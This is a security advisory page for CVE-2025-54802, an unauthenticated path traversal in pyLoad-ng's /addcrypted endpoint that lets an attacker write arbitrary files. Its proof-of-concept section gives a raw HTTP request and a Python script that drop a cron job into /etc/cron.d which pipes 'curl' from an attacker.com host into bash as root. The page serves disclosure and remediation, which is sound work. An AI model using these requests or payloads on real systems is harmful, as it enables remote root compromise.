CVE-2025-54802: pyLoad CNL Blueprint is vulnerable to Path Traversal through `dlc_path` leading to Remote Code Execution (RCE)

Published Aug 4, 2025
·
Updated

Summary Path Traversal in pyLoad-ng CNL Blueprint via package parameter allows Arbitrary File Write leading to Remote Code Execution (RCE) The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.

Details Endpoint: POST /addcrypted Issue: src/pyload/webui/app/blueprints/cnlblueprint.py

Vulnerable Code python dlcpath = os.path.join( dlpath, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc" ) dlc = flask.request.form["crypted"].replace(" ", "+") with open(dlcpath, mode="wb") as fp:

PoC http POST /addcrypted HTTP/1.1 Host: localhost:8000 Content-Type: application/x-www-form-urlencoded Content-Length: 107

package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==

Decoded payload: bash root curl -s http://attacker.com/r.sh | bash

Send crafted POST python import requests, base64

payload = " root curl http://attacker.com/rev.sh | bash" b64 = base64.b64encode(payload.encode()).decode()

requests.post("http://localhost:8000/addcrypted", data={ "package": "../../../../etc/cron.d/exploit", "crypted": b64 })

Impact The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the addcrypted endpoint in pyload-ng parameter. when exploited, it enables remote code execution as root by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.

Other sources

pyLoad is the free and open-source Download Manager written in pure Python. In versions 0.5.0b3.dev89 and below, there is an opportunity for path traversal in pyLoad-ng CNL Blueprint via package parameter, allowing Arbitrary File Write which leads to Remote Code Execution (RCE). The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root. This issue is fixed in version 0.5.0b3.dev90.

— MITRE

Affected Software

2 affected componentsFixes available
pip/pyload-ng<=0.5.0b3.dev89
0.5.0b3.dev90
Pyload-ng Project Pyload-ng Python=0.5.0b3.dev89

Event History

Aug 4, 2025
Advisory Published
via GitHub·03:57 PM
Data Sourced
via GitHub·03:57 PM
DescriptionSeverityWeaknessAffected Software
Aug 5, 2025
CVE Published
via MITRE·12:06 AM
Data Sourced
via MITRE·12:06 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·01:15 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·01:15 AM
RemedyAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-54802?

CVE-2025-54802 has a high severity rating due to its potential for remote code execution.

2

How do I fix CVE-2025-54802?

To remediate CVE-2025-54802, upgrade pyLoad-ng to version 0.5.0b3.dev90 or later.

3

What is the impact of CVE-2025-54802?

The impact of CVE-2025-54802 is the ability for an unauthenticated attacker to perform arbitrary file write operations, leading to possible remote code execution.

4

Which versions of pyLoad-ng are affected by CVE-2025-54802?

CVE-2025-54802 affects all versions of pyLoad-ng up to and including 0.5.0b3.dev89.

5

Is authentication a factor in CVE-2025-54802?

No, CVE-2025-54802 allows unauthenticated attackers to exploit the vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203